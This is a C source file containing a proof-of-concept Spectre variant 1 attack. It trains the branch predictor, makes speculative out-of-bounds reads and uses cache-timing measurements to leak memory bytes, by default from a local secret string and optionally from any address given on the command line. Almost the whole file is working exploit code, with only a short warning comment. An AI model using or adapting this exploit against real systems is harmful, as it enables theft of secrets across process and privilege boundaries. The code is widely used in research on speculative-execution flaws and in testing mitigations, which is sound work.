spectre_attack.c

/**
 * Spectre attack PoC
 *
 * WARNING: Execute with care!!
 *
 * https://spectreattack.com/spectre.pdf
 **/

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#ifdef _MSC_VER

#include <intrin.h>
/* for rdtscp and clflush */

#pragma optimize("gt",on)

#else

#include <x86intrin.h>
/* for rdtscp and clflush */

#endif


/********************************************************************
 * Victim code.
 * ********************************************************************/

unsigned int array1_size = 16;

uint8_t unused1[64];

uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };

uint8_t unused2[64];

uint8_t array2[256 * 512];


char *secret = "The Magic Words are Squeamish Ossifrage.";


uint8_t temp = 0;
/* Used so compiler won’t optimize out victim_function() */


void victim_function(size_t x) {

    if (x < array1_size) {

        temp &= array2[array1[x] * 512];

    }

}



/********************************************************************
 * Analysis code
 * ********************************************************************/

#define CACHE_HIT_THRESHOLD (80)
/* assume cache hit if time <= threshold */


/* Report best guess in value[0] and runner-up in value[1] */

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {

    static int results[256];

    int tries, i, j, k, mix_i, junk = 0;

    size_t training_x, x;

    register uint64_t time1, time2;

    volatile uint8_t *addr;


    for (i = 0; i < 256; i++)

        results[i] = 0;

    for (tries = 999; tries > 0; tries--) {


        /* Flush array2[256*(0..255)] from cache */

        for (i = 0; i < 256; i++)

            _mm_clflush(&array2[i * 512]);
      /* intrinsic for clflush instruction */


        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */

        training_x = tries % array1_size;

        for (j = 29; j >= 0; j--) {

            _mm_clflush(&array1_size);

            for (volatile int z = 0; z < 100; z++) {}
          /* Delay (can also mfence) */


            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

            /* Avoid jumps in case those tip off the branch predictor */

            x = ((j % 6) - 1) & ~0xFFFF;
          /* Set x=FFF.FF0000 if j%6==0, else x=0 */

            x = (x | (x >> 16));
          /* Set x=-1 if j&6=0, else x=0 */

            x = training_x ^ (x & (malicious_x ^ training_x));


            /* Call the victim! */

            victim_function(x);

        }


        /* Time reads. Order is lightly mixed up to prevent stride prediction */

        for (i = 0; i < 256; i++) {

            mix_i = ((i * 167) + 13) & 255;

            addr = &array2[mix_i * 512];

            time1 = __rdtscp(&junk);
          /* READ TIMER */

            junk = *addr;
          /* MEMORY ACCESS TO TIME */

            time2 = __rdtscp(&junk) - time1;
          /* READ TIMER & COMPUTE ELAPSED TIME */

            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])

                results[mix_i]++;
          /* cache hit - add +1 to score for this value */

        }


        /* Locate highest & second-highest results results tallies in j/k */

        j = k = -1;

        for (i = 0; i < 256; i++) {

            if (j < 0 || results[i] >= results[j]) {

                k = j;

                j = i;

            } else if (k < 0 || results[i] >= results[k]) {

                k = i;

            }

        }

        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))

            break;
      /* Clear success if best is > 2*runner-up + 5 or 2/0) */

    }

    results[0] ^= junk;
  /* use junk so code above won’t get optimized out*/

    value[0] = (uint8_t)j;

    score[0] = results[j];

    value[1] = (uint8_t)k;

    score[1] = results[k];

}


int main(int argc, const char **argv) {

    size_t malicious_x=(size_t)(secret-(char*)array1);
  /* default for malicious_x */

    int i, score[2], len=40;

    uint8_t value[2];


    for (i = 0; i < sizeof(array2); i++)

        array2[i] = 1;
  /* write to array2 so in RAM not copy-on-write zero pages */

    if (argc == 3) {

        sscanf(argv[1], "%p", (void**)(&malicious_x));

        malicious_x -= (size_t)array1;
      /* Convert input value into a pointer */

        sscanf(argv[2], "%d", &len);

    }


    printf("Reading %d bytes:\n", len);

    while (--len >= 0) {

        printf("Reading at malicious_x = %p... ", (void*)malicious_x);

        readMemoryByte(malicious_x++, value, score);

        printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));

        printf("0x%02X=’%c’ score=%d    ", value[0],

            (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

        if (score[1] > 0)

            printf("(second best: 0x%02X score=%d)", value[1], score[1]);

        printf("\n");

    }

    return (0);

}